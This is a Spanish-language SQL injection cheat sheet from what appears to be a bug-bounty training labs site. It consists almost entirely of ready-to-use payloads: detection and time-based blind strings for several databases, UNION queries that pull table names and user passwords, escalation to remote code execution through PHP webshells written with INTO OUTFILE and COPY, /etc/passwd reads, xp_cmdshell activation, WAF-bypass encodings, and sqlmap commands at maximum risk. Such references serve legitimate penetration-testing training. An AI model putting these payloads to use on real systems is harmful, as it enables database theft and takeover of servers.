Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet SQLi
SQL Injection
Referencia rápida
- →Siempre probar isomorphic tests antes de polyglots - menor ruido, mayor precision
- →PostgreSQL trata -- seguido de numero negativo como comentario (sin espacio)
- →Si un campo tiene longitud forzada, combinar inyeccion cross-field entre parametros
- →MSSQL permite stacked queries con ; lo que facilita RCE via xp_cmdshell
- →Usar CHAR() o hex encoding cuando las comillas estan bloqueadas
Deteccion - payloads iniciales
Comilla simple
'
Doble comilla
"
Comentario MySQL
' OR 1=1-- -
Isomorphic test numericoSi devuelve lo mismo que ID=1, la aritmetica se ejecuta en SQL
ID=2-1
Isomorphic test LIKEDoble % revela contexto LIKE sin sanitizar
q=Big%%
Isomorphic test stringConcatenacion de strings confirma inyeccion
name=Big' '
Time-based blind - MySQL
SLEEP basico
' AND SLEEP(5)-- -
SLEEP con parentesis
') AND SLEEP(5)-- -
SLEEP doble comilla
" AND SLEEP(5)-- -
SELECT SLEEP
' AND (SELECT SLEEP(5))-- -
OR SLEEP
' OR SLEEP(5)-- -
BENCHMARK
' AND BENCHMARK(10000000,SHA1('test'))-- -Time-based blind - MSSQL y PostgreSQL
MSSQL WAITFOR
'; WAITFOR DELAY '0:0:5'-- -
MSSQL con parentesis
'); WAITFOR DELAY '0:0:5'-- -
PostgreSQL pg_sleep
'; SELECT pg_sleep(5)-- -
PostgreSQL OR
' || pg_sleep(5)-- -
SQLite RANDOMBLOB
' AND 1=RANDOMBLOB(500000000)-- -
Union-based extraction
Determinar columnas (ORDER BY)Incrementar hasta obtener error para determinar numero de columnas
' ORDER BY 1-- -
UNION SELECT NULL
' UNION SELECT NULL,NULL,NULL-- -
Extraer version MySQL
' UNION SELECT @@version,NULL,NULL-- -
Listar tablas
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
Listar columnas
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Sin comillas con CHAR()Usar CHAR() cuando las comillas estan filtradas
UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -
Escalacion a RCE
MySQL - webshell via INTO OUTFILE
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
MySQL - leer archivos
' UNION SELECT LOAD_FILE('/etc/passwd')-- -MSSQL - xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
MSSQL - habilitar xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
PostgreSQL - COPY TO webshell
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -
PostgreSQL - COPY PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -
Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Filtro de espacios | Comentarios inline | '/**/UNION/**/SELECT/**/1,2,3-- - |
Filtro de comillas | CHAR() encoding | UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- - |
Filtro de UNION | Case manipulation | ' uNiOn SeLeCt 1,2,3-- - |
Filtro de keywords | Double URL encoding | %252f%252a*/UNION%252f%252a*/SELECT |
Filtro de comentarios | Newline bypass | ' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- - |
Herramientas
sqlmap
Herramienta automatizada de deteccion y explotacion de SQLi
sqlmap -r request.txt --batch --level=5 --risk=3 --dbs
ghauri
Alternativa a sqlmap con mejor deteccion de blind SQLi
ghauri -r request.txt --batch --dbs
Burp Suite + SQLi extension
Deteccion manual asistida con encoding y payloads automaticos
Burp Suite > Extensions > SQLiPy / Hackvertor
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica